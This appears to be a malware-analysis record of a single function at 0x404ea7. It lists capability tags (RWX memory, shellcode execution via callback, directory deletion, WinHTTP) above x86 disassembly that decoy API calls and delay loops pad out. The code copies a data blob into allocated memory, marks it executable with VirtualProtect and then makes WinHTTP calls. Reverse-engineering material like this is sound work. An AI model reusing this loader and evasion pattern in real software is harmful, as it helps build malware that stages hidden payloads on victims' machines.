Function at 0x404ea7
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via windows callback function
Get hostname
Initialize winhttp library
Receive http response

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c3c
call fcn.00410470
push ebx
push esi
xor ebx, ebx
cmp dword [0x4d9c08], 0x5b1
push edi
jne 0x404f4c
push ebx
lea eax, [ebp - 0x1038]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push dword [ebp - 4]
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
push ebx
push dword [ebp - 4]
lea eax, [ebp - 0x838]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellAboutW]
push ebx
call fcn.00405b57
pop ecx
lea esi, [ebp - 0x14]
call fcn.00404b50
mov ecx, esi
call fcn.00404b70
push ebx
call fcn.00405741
pop ecx
push ebx
call fcn.0040572b
pop ecx
push ebx
push ebx
call fcn.00405484
pop ecx
pop ecx
push ebx
call fcn.00405ee0
add dword [0x4d9c08], 0x1134b
push dword [0x4d9c08]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4d8b5c], eax
mov esi, 0x1e6cc
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x404f6d
lea eax, [ebp - 4]
push eax
push 0x40
push dword [0x4d9c08]
push dword [0x4d8b5c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x404fc6
inc edi
cmp edi, 0x4f6a4
jl 0x404fa8
xor edi, edi
cmp dword [0x4d9c08], ebx
jbe 0x405018
cmp dword [0x4d9c08], 0xa8
mov eax, dword [0x4d9c0c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d8b5c]
mov byte [ecx + edi], al
jne 0x40500f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x404850
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc edi
cmp edi, dword [0x4d9c08]
jb 0x404fd0
xor esi, esi
mov eax, dword [0x4d9c08]
add eax, esi
cmp eax, 0xe
jne 0x4050f2
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push ebx
push 0x404860
push ebx
call dword [sym.imp.KERNEL32.dll__lwrite]
lea eax, [ebp - 0x1438]
push eax
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x4048b8
push 0x4048d4
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
lea eax, [ebp - 0x1c38]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov word [ebp - 0x2c], ax
lea edi, [ebp - 0x2a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x438]
push eax
push 0x4048f0
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
push ebx
lea eax, [ebp - 0xc38]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x39621
jl 0x40501a
call fcn.00404dd3
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x26
jne 0x405117
call fcn.00404e8d
inc edi
cmp edi, 0x6753f
jl 0x405106
push 0x7b
pop esi
cmp dword [0x4d9c08], 0x86
jne 0x405194
lea eax, [ebp - 0x38]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebx
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x438]
push eax
push ebx
push 0x404938
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec esi
jne 0x405123
push 0x40496c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
leave
ret